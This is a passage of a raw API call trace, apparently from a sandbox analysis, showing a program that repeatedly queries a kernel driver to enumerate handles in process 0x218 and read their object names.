(Object=0xfffffa80031c1b30) returned 0xb3 [0132.051] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0132.051] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0132.051] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.051] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.051] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.051] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.051] PsAcquireProcessExitSynchronization () returned 0x0 [0132.051] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.051] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0132.051] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.051] PsReleaseProcessExitSynchronization () returned 0x2 [0132.051] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.051] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.051] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0132.051] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.051] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.051] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.051] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.051] PsAcquireProcessExitSynchronization () returned 0x0 [0132.051] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.051] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.051] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.051] PsReleaseProcessExitSynchronization () returned 0x2 [0132.051] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.051] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.051] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.052] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.052] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.052] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0132.052] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.052] PsAcquireProcessExitSynchronization () returned 0x0 [0132.052] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.052] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0132.052] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.052] PsReleaseProcessExitSynchronization () returned 0x2 [0132.052] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.052] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.052] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0132.052] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.052] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.052] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0132.052] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.052] PsAcquireProcessExitSynchronization () returned 0x0 [0132.052] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.052] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0132.052] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.052] PsReleaseProcessExitSynchronization () returned 0x2 [0132.052] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.052] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.052] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0132.052] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.052] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.052] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0132.052] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.052] PsAcquireProcessExitSynchronization () returned 0x0 [0132.052] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.053] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0132.053] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.053] PsReleaseProcessExitSynchronization () returned 0x2 [0132.053] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.053] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.053] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0132.053] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.053] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.053] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0132.053] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.053] PsAcquireProcessExitSynchronization () returned 0x0 [0132.053] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.053] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0132.053] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.053] PsReleaseProcessExitSynchronization () returned 0x2 [0132.053] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.053] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.053] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0132.053] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.053] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.053] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0132.053] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.053] PsAcquireProcessExitSynchronization () returned 0x0 [0132.053] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.053] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0132.054] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.054] PsReleaseProcessExitSynchronization () returned 0x2 [0132.054] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.054] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.054] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0132.054] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.054] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.054] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.054] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.054] PsAcquireProcessExitSynchronization () returned 0x0 [0132.054] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.054] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0132.054] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.054] PsReleaseProcessExitSynchronization () returned 0x2 [0132.054] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.054] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.054] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0132.054] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.054] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.054] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0132.174] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.174] PsAcquireProcessExitSynchronization () returned 0x0 [0132.174] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.174] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028d9070, HandleInformation=0x0) returned 0x0 [0132.174] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.174] PsReleaseProcessExitSynchronization () returned 0x2 [0132.174] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.174] ObQueryNameString (in: Object=0xfffffa80028d9070, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0132.174] ObfDereferenceObject (Object=0xfffffa80028d9070) returned 0x1 [0132.174] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.174] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.174] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.174] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.174] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.174] PsAcquireProcessExitSynchronization () returned 0x0 [0132.174] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.174] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016d24a0, HandleInformation=0x0) returned 0x0 [0132.174] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.174] PsReleaseProcessExitSynchronization () returned 0x2 [0132.174] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.174] ObQueryNameString (in: Object=0xfffff8a0016d24a0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.174] ObfDereferenceObject (Object=0xfffff8a0016d24a0) returned 0x1 [0132.174] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.174] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.174] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0132.175] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.175] PsAcquireProcessExitSynchronization () returned 0x0 [0132.175] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.175] ObReferenceObjectByHandle (in: Handle=0x548, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035908c0, HandleInformation=0x0) returned 0x0 [0132.175] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.175] PsReleaseProcessExitSynchronization () returned 0x2 [0132.175] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.175] ObQueryNameString (in: Object=0xfffffa80035908c0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0132.175] ObfDereferenceObject (Object=0xfffffa80035908c0) returned 0x1 [0132.175] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.175] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.175] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0132.175] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.175] PsAcquireProcessExitSynchronization () returned 0x0 [0132.175] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.175] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003409d00, HandleInformation=0x0) returned 0x0 [0132.175] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.175] PsReleaseProcessExitSynchronization () returned 0x2 [0132.175] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.175] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.175] ObfDereferenceObject (Object=0xfffffa8003409d00) returned 0x1 [0132.175] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.175] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.175] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0132.175] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.175] PsAcquireProcessExitSynchronization () returned 0x0 [0132.175] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.175] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003571970, HandleInformation=0x0) returned 0x0 [0132.175] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.175] PsReleaseProcessExitSynchronization () returned 0x2 [0132.176] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.176] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.176] ObfDereferenceObject (Object=0xfffffa8003571970) returned 0x1 [0132.176] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.176] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.176] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0132.176] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.176] PsAcquireProcessExitSynchronization () returned 0x0 [0132.176] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.176] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c36ce0, HandleInformation=0x0) returned 0x0 [0132.176] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.176] PsReleaseProcessExitSynchronization () returned 0x2 [0132.176] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.176] ObQueryNameString (in: Object=0xfffffa8002860900, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.176] ObfDereferenceObject (Object=0xfffffa8003c36ce0) returned 0x1 [0132.176] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.176] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.176] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0132.176] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.176] PsAcquireProcessExitSynchronization () returned 0x0 [0132.176] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880050005d0) [0132.176] ObReferenceObjectByHandle (in: Handle=0x5b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003c36970, HandleInformation=0x0) returned 0x0 [0132.176] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.176] PsReleaseProcessExitSynchronization () returned 0x2 [0132.176] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb3 [0132.176] ObQueryNameString (in: Object=0xfffffa8003c36970, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.176] ObfDereferenceObject (Object=0xfffffa8003c36970) returned 0x1 [0132.176] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0132.176] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.176] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, 